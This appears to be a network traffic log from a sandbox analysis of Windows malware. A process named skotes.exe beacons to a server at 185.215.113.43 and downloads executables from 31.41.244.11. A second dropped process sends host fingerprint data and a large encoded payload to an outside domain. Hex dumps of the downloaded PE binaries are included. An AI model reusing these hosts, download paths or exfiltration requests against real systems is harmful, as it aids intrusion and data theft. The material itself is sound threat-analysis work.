Dec 19, 2024 03:09:30.799237967 CET	1236	IN	Data Raw: 95 27 d1 74 98 73 e3 eb 66 e9 8d 13 65 2f 0d a9 2a 1d 22 92 00 ad dd f3 04 f8 3d f0 ea 46 36 8b 59 6e 82 a5 0a 47 77 bc bb e3 93 cc 12 08 fe 85 13 29 fd fe 91 3a 57 36 da b6 12 7b 9a 71 de f7 6f 6b 9c 8f 63 d6 9c 83 99 ae 94 f8 90 42 35 73 f4 68 Data Ascii: 'tsfe/"=F6YnGw):W6{qokcB5shacXm:]HrRkBG5UMIuttoJAIU] %whO'xb_{JerG9e[puEk%U\AEmv}CsR]8u\_v!_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49913	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:40.087857962 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017255001&unit=246122658369
Dec 19, 2024 03:09:41.458803892 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49920	31.41.244.11	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:41.613584995 CET	59	OUT	GET /files/lolz/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 03:09:42.942779064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:42 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT Connection: keep-alive ETag: "676310c8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpm;"0J:i @ `hOTh8 H.text@I J `.rsrcL@@.relocR@BiH6p108s2(}<}=};\|<(+\|<(0P~,Brp(rcp((rp(((o(08s,(}}}\|(+\|(0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 19, 2024 03:09:42.942830086 CET	224	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 ef 00 00 70 72 f7 00 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2
Dec 19, 2024 03:09:42.942843914 CET	1236	IN	Data Raw: 00 00 0a 2d b7 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 06 13 07 2b 00 11 07 2a 00 00 00 01 10 00 00 02 00 49 00 4d 96 00 0f 00 00 00 00 13 30 03 00 65 00 00 00 08 00 00 11 00 02 72 d3 00 00 70 28 20 00 00 0a 28 05 00 00 2b 7e 0a 00 00 Data Ascii: -o3+IM0erp( (+~%-&~s%(+(+~%-&~ s4%(++*0urprpo#+=o6(+,X+
Dec 19, 2024 03:09:42.943027973 CET	1236	IN	Data Raw: 0b 07 06 fe 06 29 00 00 06 73 4f 00 00 0a 28 0c 00 00 2b 28 07 00 00 2b 0c 2b 00 08 2a 13 30 02 00 1c 00 00 00 10 00 00 11 00 28 51 00 00 0a 73 52 00 00 0a 0a 06 20 20 02 00 00 6f 53 00 00 0a 0b 2b 00 07 2a 1b 30 03 00 44 00 00 00 11 00 00 11 00 Data Ascii: )sO(+(++0(QsR oS+0D(ToUsV%rpoW(X&rpoY(((0Lss}{oZr1p(++s\(+(+
Dec 19, 2024 03:09:42.943047047 CET	1236	IN	Data Raw: 70 02 7b 19 00 00 04 8c 3f 00 00 01 28 73 00 00 0a 28 19 00 00 0a 00 02 02 7b 16 00 00 04 28 08 00 00 06 7d 1a 00 00 04 02 7b 1a 00 00 04 2d 07 72 cd 04 00 70 2b 05 72 09 05 00 70 28 19 00 00 0a 00 02 72 3f 05 00 70 7d 1b 00 00 04 7e 04 00 00 04 Data Ascii: p{?(s({(}{-rp+rp(r?p}~(rp((u~(rp((u{~(}%{(voo(w-C%}}/\|(+}{/\|/
Dec 19, 2024 03:09:42.943466902 CET	1236	IN	Data Raw: 14 7d 1d 00 00 04 02 14 7d 20 00 00 04 02 14 7d 21 00 00 04 02 14 7d 22 00 00 04 02 14 7d 24 00 00 04 02 14 7d 25 00 00 04 02 14 7d 26 00 00 04 02 7c 15 00 00 04 09 28 82 00 00 0a 00 de 53 02 1f fe 7d 14 00 00 04 02 14 7d 1b 00 00 04 02 14 7d 1c Data Ascii: }} }!}"}$}%}&\|(S}}}}} }!}"}$}%}&\|(*A\|[Wb7d77#
Dec 19, 2024 03:09:42.943483114 CET	896	IN	Data Raw: 40 00 00 04 28 04 00 00 06 6f 6f 00 00 0a 13 04 12 04 28 77 00 00 0a 2d 43 02 16 25 0a 7d 3b 00 00 04 02 11 04 7d 42 00 00 04 02 13 05 02 7c 3c 00 00 04 12 04 12 05 28 13 00 00 2b 00 de 70 02 7b 42 00 00 04 13 04 02 7c 42 00 00 04 fe 15 21 00 00 Data Ascii: @(oo(w-C%};}B\|<(+p{B\|B!%};(p&};}?}@\|<("};}?}@\|<(A4r$)&BSJB
Dec 19, 2024 03:09:42.943902969 CET	1236	IN	Data Raw: 00 00 00 01 00 01 00 00 00 10 00 d2 0a 1a 0c 41 00 01 00 01 00 03 21 10 00 29 06 00 00 41 00 08 00 1c 00 03 01 10 00 40 00 00 00 41 00 11 00 26 00 03 01 10 00 cb 00 00 00 41 00 12 00 28 00 03 01 10 00 3e 01 00 00 41 00 13 00 2a 00 03 01 10 00 17 Data Ascii: A!)A@A&A(>A*A,A0/A;2r1_333QT6TV3
Dec 19, 2024 03:09:42.943938017 CET	1236	IN	Data Raw: 01 8c 07 26 00 25 00 00 00 01 00 cb 06 00 00 02 00 d3 0f 00 00 01 00 41 0e 00 00 01 00 af 0b 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 01 00 2a 0c 00 00 00 00 00 00 00 00 01 00 2a 0c 00 00 01 Data Ascii: &%A*************0A
Dec 19, 2024 03:09:42.943954945 CET	1236	IN	Data Raw: 06 83 00 93 00 b5 06 a3 00 93 00 b5 06 c3 00 93 00 b5 06 e3 00 93 00 b5 06 03 01 93 00 b5 06 23 01 93 00 b5 06 64 01 8b 00 2b 07 e0 02 7b 00 f1 06 e0 02 83 00 b5 06 60 03 83 00 b5 06 e1 03 8b 00 2b 07 c0 05 ab 00 b5 06 20 06 ab 00 b5 06 80 06 ab Data Ascii: #d+{`+ -J_i1b36F]go{TZ'\)`'b)f'h)N]Cz&
Dec 19, 2024 03:09:43.064660072 CET	1236	IN	Data Raw: 3e 35 5f 5f 32 00 3c 63 6f 6e 74 65 6f 43 61 72 61 63 74 65 72 65 73 3e 35 5f 5f 32 00 3c 3e 75 5f 5f 32 00 46 75 6e 63 60 32 00 56 61 6c 75 65 54 75 70 6c 65 60 32 00 4b 65 79 56 61 6c 75 65 50 61 69 72 60 32 00 44 69 63 74 69 6f 6e 61 72 79 60 Data Ascii: >5__2<conteoCaracteres>5__2<>u__2Func`2ValueTuple`2KeyValuePair`2Dictionary`2Item2_rutaArchivoDescargado2<conteoPalabrasUnicas>5__13<>s__23<textoEntrada>5__3<conteoOraciones>5__3<>s__3<textoConSinonimos>5__14<palabra>5__24<esPa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49930	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:45.492284060 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017256001&unit=246122658369
Dec 19, 2024 03:09:46.827027082 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49931	176.53.146.212	80	2164	C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:45.768459082 CET	12360	OUT	POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1 Host: home.fivetk5vt.top Accept: / Content-Type: application/json Content-Length: 555941 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 37 34 31 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734574183", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 19, 2024 03:09:45.888600111 CET	4944	OUT	Data Raw: 2f 34 36 5c 2f 45 50 34 63 2b 47 44 64 7a 33 74 7a 66 36 6c 71 6e 68 71 36 30 54 77 31 70 55 54 2b 49 62 32 37 75 4c 75 31 31 56 35 49 64 61 6b 5c 2f 77 42 4b 74 4c 36 38 5c 2f 4e 53 76 36 68 38 4b 50 46 7a 68 50 78 65 34 66 5c 2f 74 76 68 75 76 Data Ascii: /46\/EP4c+GDdz3tzf6lqnhq60Tw1pUT+Ib27uLu11V5Idak\/wBKtL68\/NSv6h8KPFzhPxe4f\/tvhuvOjicNKFHOMkxkqcczyfFTi5QhiKcJSjVw2IUZywWOo3w+KjCpFOniaGJw9D+PvGXwQ418DeJ3w\/xXh6dfCYyE8RkXEOBjVllGe4SnJRnUwtWpGMqOLwznCGPy6uo4nBznSm1VwuIwmKxNeirFQbH9vy\/+yr9RPy
Dec 19, 2024 03:09:45.888737917 CET	4944	OUT	Data Raw: 66 37 44 5c 2f 77 44 4c 58 6a 38 73 6e 36 66 5c 2f 41 46 2b 39 52 66 36 76 66 73 65 54 79 66 38 41 79 42 5c 2f 6e 36 47 67 36 43 50 7a 43 2b 78 48 34 39 66 4c 5c 2f 41 4d 65 66 38 38 30 4f 48 39 49 2b 76 2b 73 65 55 65 52 39 50 58 46 50 61 4e 33 Data Ascii: f7D\/wDLXj8sn6f\/AF+9Rf6vfseTyf8AyB\/n6Gg6CPzC+xH49fL\/AMef880OH9I+v+seUeR9PXFPaN32I\/3\/ADf3Vz\/qP8++f\/r1E33nR3\/7afhQBAsZ\/gJ3iMnzJP8A20tP6fljmjj\/AKZ\/9Nf+eH\/X1d\/h0\/nipo45Gbb+7Z4\/TPQVDH80n9\/y+0nrz\/T3rP2fn+H\/AATSn1+X6jPnjjSNHjH725\/e
Dec 19, 2024 03:09:45.888788939 CET	2472	OUT	Data Raw: 37 55 34 4a 39 4d 6b 6e 6b 74 4c 75 30 5c 2f 69 51 5c 2f 77 43 43 4c 6a 74 4a 5c 2f 77 41 46 4e 50 32 62 70 47 43 42 70 48 2b 4d 72 73 49 34 30 69 51 46 76 67 46 38 56 57 49 53 4b 4a 55 6a 6a 51 45 5c 2f 4c 48 47 69 6f 67 77 71 4b 71 67 41 66 76 Data Ascii: 7U4J9MknktLu0\/iQ\/wCCLjtJ\/wAFNP2bpGCBpH+MrsI40iQFvgF8VWISKJUjjQE\/LHGiogwqKqgAfvh8Hv26fBviyy+LU9v\/AMFaP+FkL4U+Gtn4jubn\/hg7VfB\/\/CvYJvit8L\/Cw8b+S\/hG2Piz7Rc+JrfwB\/wjUYuXh\/4Tv\/hKjAI\/DD3Fv4+V5pOphXPGTVSpKvWhB82FoPlpUqNSyU6mH5rObd4KXLf94
Dec 19, 2024 03:09:45.888866901 CET	2472	OUT	Data Raw: 66 38 69 71 5c 2f 33 54 2b 48 38 78 55 4c 66 4c 6e 50 62 30 71 35 35 66 76 2b 6e 5c 2f 31 36 6a 6f 4e 69 76 54 48 36 66 6a 5c 2f 51 30 39 6c 37 45 66 35 39 52 55 63 6e 62 38 66 36 55 48 51 52 31 48 35 66 76 2b 6e 5c 2f 41 4e 65 70 4b 4b 44 57 47 Data Ascii: f8iq\/3T+H8xULfLnPb0q55fv+n\/16joNivTH6fj\/Q09l7Ef59RUcnb8f6UHQR1H5fv+n\/ANepKKDWG3z\/AERVZd34VD\/6B\/n8On+cVc8v3\/T\/AOvVZo\/b5P5Af54xn3oOn3\/7v4kMi4+\/\/wAtPXtj\/P5Z9KiG\/wDjz7Z\/zj06VYl\/i\/D+lR+X7\/p\/9eg2p9fl+pHUDd9n+f8APv39qssu33FQydvx\/
Dec 19, 2024 03:09:45.888972044 CET	4944	OUT	Data Raw: 65 61 50 6e 50 33 45 6b 5c 2f 31 76 6d 32 76 70 2b 57 66 38 39 71 41 4b 33 6c 71 33 38 47 31 48 6c 5c 2f 64 66 38 41 54 62 5c 2f 50 76 54 35 50 33 6d 78 33 53 4e 5c 2f 4c 5c 2f 64 66 36 33 5c 2f 6c 33 5c 2f 77 43 58 54 48 65 70 76 4a 54 61 6a 75 Data Ascii: eaPnP3Ek\/1vm2vp+Wf89qAK3lq38G1Hl\/df8ATb\/PvT5P3mx3SN\/L\/df63\/l3\/wCXTHepvJTajuN6S\/8ALPzf3H\/X1\/8AX7\/rVb5JP3ez54z+6\/df5\/z+s+185f18zoGL\/Hv+RJP9ae\/Xj+fP1FCSPhPJff8AvRF5nSD\/AD0\/zzT9r\/J\/q\/8AW\/57\/wCenOaZJH\/Hs2f9NDL5+Ovr+P8A+uj2vnL
Dec 19, 2024 03:09:45.889012098 CET	2472	OUT	Data Raw: 5a 2b 78 70 54 6e 6a 73 72 77 46 65 54 6a 54 63 5c 2f 61 55 6e 68 5c 2f 5a 77 6e 4e 75 46 53 6f 37 53 58 2b 77 76 67 4a 6c 48 48 58 69 4a 77 44 44 69 6e 67 50 47 38 4f 35 58 6b 47 59 35 31 6d 57 47 78 32 43 34 6a 6a 69 71 65 50 7a 53 70 67 38 48 Data Ascii: Z+xpTnjsrwFeTjTc\/aUnh\/ZwnNuFSo7SX+wvgJlHHXiJwDDingPG8O5XkGY51mWGx2C4jjiqePzSpg8HWymvg80pYHA5ph8VlH1fH4p4bCvFKPtcRUxMqcK8aUqf8uH\/AARgEC\/8FOP2cVtZJZrZZfjOLeaeFLaeWAfAT4rCGSa3jnuo4JXj2tJCl1cpE5KLPMqiRv6ktD\/ZR\/4KXWGgfELT9a\/4Kx\/29rniPwjYaP4
Dec 19, 2024 03:09:45.889103889 CET	2472	OUT	Data Raw: 76 38 5c 2f 68 51 64 42 44 33 66 36 44 2b 56 52 56 59 71 76 57 6e 73 5c 2f 50 38 41 44 5c 2f 67 6d 31 4f 70 38 5c 2f 77 42 66 2b 44 5c 2f 77 64 41 71 50 79 5c 2f 66 39 50 5c 2f 72 31 4a 55 59 5c 2f 35 61 66 6a 5c 2f 57 73 7a 6f 39 5c 2f 2b 37 2b Data Ascii: v8\/hQdBD3f6D+VRVYqvWns\/P8AD\/gm1Op8\/wBf+D\/wdAqPy\/f9P\/r1JUY\/5afj\/Wszo9\/+7+JDIuPw\/kf8\/wA6hqxUL\/eP4fyFBrzvy\/r5ldl2475ptWKifr+H9TQajKgkj+Xrn8P89elT0UHQUpI\/l44+vf8Az0+n6sqZ\/un8P5ioaDoIeWP+eKZ\/Gn1NSydvx\/pUdB2U+vyIfmb1P8v8M1G0ae4Tp\/
Dec 19, 2024 03:09:46.008860111 CET	4944	OUT	Data Raw: 6d 5a 33 37 49 2b 50 2b 6d 39 4d 2b 39 5c 2f 48 73 66 7a 54 46 5c 2f 71 76 39 64 5c 2f 6e 39 63 2b 5c 2f 49 64 41 79 54 66 38 41 4a 73 65 4e 5c 2f 77 42 37 5c 2f 77 41 39 66 79 5c 2f 44 70 30 70 6e 33 57 54 2b 50 5c 2f 59 6b 5c 2f 4c 74 54 32 32 Data Ascii: mZ37I+P+m9M+9\/HsfzTF\/qv9d\/n9c+\/IdAyTf8AJseN\/wB7\/wA9fy\/Dp0pn3WT+P\/Yk\/LtT22PHNv8AMTzP+2GP8\/8A18inx\/vPVH\/5ZRyRY\/z+PvQBTk\/vJ9fK\/M4\/l0\/LvUnmIJP9T5M0\/wC9z\/ruOv8AomM\/549Kdu2yJsmjdPz\/AMc\/0xUKyGPzmdJP3n\/Pv\/z7jv8A\/q7Vp7Ty\/H\/gA
Dec 19, 2024 03:09:46.009160042 CET	4944	OUT	Data Raw: 41 2b 41 73 78 70 35 33 6a 4d 67 78 6d 54 34 68 34 37 4b 38 48 6d 65 45 72 35 4c 58 7a 54 68 6e 46 56 61 32 46 35 38 53 71 46 65 6c 57 78 74 66 68 79 72 67 38 64 68 4b 74 53 6c 69 38 4e 6a 38 4e 57 77 6c 53 76 68 63 55 71 6a 5c 2f 41 4b 49 66 2b Data Ascii: A+Asxp53jMgxmT4h47K8HmeEr5LXzThnFVa2F58SqFelWxtfhyrg8dhKtSli8Nj8NWwlSvhcUqj\/AKIf+H65\/wCjWR\/4fD\/8UFH\/AA\/XP\/RrI\/8AD4f\/AIoK\/n58LyaN4i07RPEWsfET4U\/DvwdrH7OvjT9p+58W+ONY+JM9hoHwz8C\/Hux\/Zv1U6vpXw6+EvxE8Sza5efEnUrGHSrHQND1yzl0e4F9fajp1yk
Dec 19, 2024 03:09:46.009251118 CET	2472	OUT	Data Raw: 56 68 61 47 47 6a 51 6e 69 73 51 33 68 4d 4e 68 63 71 77 6d 59 52 68 56 71 56 6f 53 6e 62 43 5a 50 58 77 32 4f 78 6b 36 30 35 54 77 6d 44 63 73 56 6a 5a 55 34 55 36 31 53 48 34 42 6a 66 41 6a 78 7a 7a 50 45 56 38 33 78 66 68 37 78 4a 69 4b 2b 61 Data Ascii: VhaGGjQnisQ3hMNhcqwmYRhVqVoSnbCZPXw2Oxk605TwmDcsVjZU4U61SH4BjfAjxzzPEV83xfh7xJiK+a4ueMq4mODw0Y4vFZjmGLw8KtKnQqQpf8ACjmVHEYbARoU408biXSw+Xxqyr4aFSu\/3T+H8xUNQX+teERrWl6d4O+Jfw3+Lmkarp1xexeKvhncfESHTLO5tWH2jSdU0T4s\/DP4S+ObG8WCW0u7e+fwi\/h7UoLvZ
Dec 19, 2024 03:09:48.863254070 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 02:09:48 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 68 55 56 78 75 32 56 72 67 34 63 45 68 5a 70 34 31 37 33 34 35 37 34 31 38 37 Data Ascii: hUVxu2Vrg4cEhZp41734574187

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49935	31.41.244.11	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:46.981925964 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 03:09:48.305691957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:48 GMT Content-Type: application/octet-stream Content-Length: 2003968 Last-Modified: Thu, 19 Dec 2024 01:42:28 GMT Connection: keep-alive ETag: "67637a04-1e9400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 f0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^K@ L@Vjl <@.rsrclL@.idata T@ )V@ufswpnwm 1X@sqgpzdipKn@.taggant0K"r@
Dec 19, 2024 03:09:48.305883884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:48.305896044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:48.306183100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:48.306206942 CET	896	IN	Data Raw: b2 4f b4 a8 94 19 cb 4b 30 22 c2 d0 10 ad 90 c1 9d 9f da 52 0d 80 cf 3f f1 79 61 8e 15 a7 65 20 cd 46 30 be ec cb e7 aa d2 85 44 91 5e 51 a3 7c 40 4d 36 63 ab de 51 c5 6f b1 c1 e2 2d 93 48 35 7c f4 5f 62 c6 65 94 61 e9 9c a0 c4 84 63 86 fe 90 06 Data Ascii: OK0"R?yae F0D^Q\|@M6cQo-H5\|_beac@\} .kVV-$L`{RQo4r..:X}/lQ )G7E`w\|ba^nczw1MK4r*rWYAa0Uy-x?wi%
Dec 19, 2024 03:09:48.306221008 CET	1236	IN	Data Raw: b0 37 01 1f fa 9f 51 6f bc 6a 5b 3f fc 18 43 16 1a aa 98 4c cf 00 64 69 2d 63 4b ae ce f0 70 b8 8f 84 f1 69 93 69 59 60 a4 21 af 5e b1 34 cd 24 0e 98 29 a4 4c 39 17 3d d7 ed 74 b0 81 4f a1 ee b4 29 f9 62 f8 6b b8 68 7b cf a0 42 89 8d 38 a9 94 ae Data Ascii: 7Qoj[?CLdi-cKpiiY`!^4$)L9=tO)bkh{B8Nr!^z$<M`vd^:M6yn-KM,l{}Lcc&5q:TG$}pYng![sc XKeD@h\|bUe6EvvqJ0c;fp
Dec 19, 2024 03:09:48.306230068 CET	224	IN	Data Raw: fd 2c 71 08 53 84 55 b7 91 57 fb 24 fc 01 c7 d4 ad a7 d0 93 9d c4 60 8d 0d 5d 3b cf 40 79 33 2e 75 a6 58 9d 34 e2 71 ce a4 e5 51 9f 3c 67 c2 42 e9 6b f8 16 cd 08 64 b9 fc 63 fd e0 4e a3 70 7d fd 84 7a fe aa f3 88 3a 04 21 be 6a 58 b2 cc 24 27 f6 Data Ascii: ,qSUW$`];@y3.uX4qQ<gBkdcNp}z:!jX$'$LDyHFgNvcQi03!sG$Py[+"@9J5E:n\|u1ce/W8=H0i6xSERJr?B,qLlei
